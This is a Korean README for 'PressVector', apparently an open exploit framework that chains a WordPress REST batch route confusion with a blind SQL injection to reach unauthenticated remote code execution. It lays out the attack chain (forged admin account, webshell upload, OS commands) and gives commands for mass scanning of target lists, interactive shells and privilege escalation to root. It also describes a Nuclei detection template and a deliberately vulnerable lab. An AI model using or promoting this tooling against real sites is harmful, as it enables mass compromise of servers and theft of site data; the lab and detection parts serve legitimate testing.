
PressVector - 고급 WordPress 취약점 스캐너 CVE-2026-63030 (REST 배치 라우트 혼동) / CVE-2026-60137 (SQLi) 개발자: Vulnquest
⚡ WordPress 코어를 위한 고급 사전 인증 RCE 및 블라인드 SQLi 익스플로잇 프레임워크
PressVector는 CVE-2026-63030 및 CVE-2026-60137을 대상으로 하는 포괄적이고 완전 자동화된 익스플로잇 프레임워크입니다. 이 두 취약점은 WordPress 코어의 치명적인 취약점으로, 함께 연계하면 인증 없이 원격 코드 실행이 가능합니다.
이 프레임워크는 REST Batch Route Confusion과 블라인드 SQL 인젝션을 연계하여 관리자 세션을 위조하고, 웹셸을 배포하며, 임의의 OS 명령을 실행합니다 — 자격 증명 없이 전부 가능합니다.
⚠️ 승인된 보안 테스트 및 교육 목적으로만 사용하십시오.
CVE-2026-63030은 Adam Kues(Assetnote / Searchlight Cyber)가 발견한 WordPress 코어의 치명적인 사전 인증 RCE 취약점입니다. 이 익스플로잇은 두 가지 독립적인 취약점을 연계합니다:
| CVE | 권고 | 유형 | 영향 |
|---|---|---|---|
| CVE-2026-63030 | GHSA-ff9f-jf42-662q | REST Batch Route Confusion | 사전 인증 RCE |
| CVE-2026-60137 | GHSA-fpp7-x2x2-2mjf | author__not_in SQL 인젝션 | 사전 인증 블라인드 SQLi |
[Unauthenticated Attacker]
│
▼
[1] REST Batch Route Confusion (/batch/v1)
│ Bypass auth context — treat batch as internal
▼
[2] Blind SQLi via author__not_in parameter
│ Time-based binary search extraction
▼
[3] Extract table prefix + admin user ID
│
▼
[4] Forge admin user via UNION-based injection
│ Insert into wp_users + wp_usermeta
▼
[5] Authenticate & Upload webshell via Media API
│
▼
[6] Remote Code Execution 🎯
| WordPress 버전 | 적용되는 CVE | 영향 | 상태 |
|---|---|---|---|
| 6.8.0 – 6.8.5 | CVE-2026-60137 | 🟡 블라인드 SQLi (높음) | ❌ 취약함 |
| 6.9.0 – 6.9.4 | CVE-2026-63030 + CVE-2026-60137 | 🔴 인증 전 RCE (치명적) | ❌ 취약함 |
| 7.0.0 – 7.0.1 | CVE-2026-63030 + CVE-2026-60137 | 🔴 인증 전 RCE (치명적) | ❌ 취약함 |
| 7.1-alpha / 7.1-beta1 | CVE-2026-60137 | 🟡 SQLi (높음) | ❌ 취약함 |
| 6.8.6+ / 6.9.5+ / 7.0.2+ | — | ✅ 패치됨 | ✅ 안전함 |
# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector
# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help
pressvector.py — 메인 익스플로잇 프레임워크4가지 작동 모드를 갖춘 완전한 기능의 익스플로잇 프레임워크입니다.
scan — 다중 대상 취약점 스캐너대규모로 취약한 WordPress 설치를 탐지하기 위한 빠른 다중 스레드 스캐너입니다.
# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com
# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10
# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json
check — 블라인드 SQLi 확인타이밍 보정을 통해 단일 대상에서 시간 기반 블라인드 SQL 인젝션을 확인합니다.
# Check a single target
python pressvector.py check http://target.com
# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5
exploit — 전체 RCE 익스플로잇 체인전체 익스플로잇: 관리자 위조 → 웹셸 배포 → 명령 실행.
# Execute a single command
python pressvector.py exploit http://target.com -c "id"
# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i
# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup
privesc — 권한 상승RCE를 달성한 후 로컬 권한 상승을 시도합니다.
# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i
# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup
pressvector-wp2shell-detection.yaml — Nuclei 탐지 템플릿대규모 수동 탐지를 위한 프로덕션 환경에 바로 사용할 수 있는 Nuclei 템플릿입니다.
# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com
# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt
# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50
템플릿 기능:
이러한 취약점을 안전하고 격리된 환경에서 테스트할 수 있도록 완전히 자동화된 컨테이너 기반 침투 테스트 랩이 포함되어 있습니다.
Windows (PowerShell):
cd pressvector-lab
.\start-lab.ps1
Linux / macOS:
cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh
(첫 실행 시 WP-CLI 설치 프로그램이 모든 WordPress 사이트를 자동으로 설정할 때까지 약 60~90초 기다리세요).
| 포트 | 서비스 | WordPress 버전 | 취약점 / 상태 |
|---|---|---|---|
| 8080 | 대상 1 | 6.8.5 | CVE-2026-60137 (Blind SQLi 전용) 🔴 |
| 8081 | 대상 2 | 6.9.4 | CVE-2026-63030 (인증 전 RCE) 🔴 |
| 8082 | 대상 3 | 7.0.1 | CVE-2026-63030 (인증 전 RCE) 🔴 |
| 8083 | 참조 | 최신 | 패치됨 / 안전한 참조 ✅ |
| 8084 | PHPMyAdmin | — | DB 관리 도구 |
| 8085 | 랩 대시보드 | — | 대상 상태 및 복사 가능한 명령이 포함된 웹 UI 🖥️ |
관리자 자격 증명: admin / admin123
MySQL 루트 비밀번호: root
자동화된 테스트 스위트를 사용하여 전체 랩 상태와 익스플로잇 경로를 검증할 수 있습니다:
# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py
stop-lab.sh 또는 .\stop-lab.ps1 실행reset-lab.sh 또는 .\reset-lab.ps1 실행고급 지침 및 문제 해결은 Lab README를 참조하세요.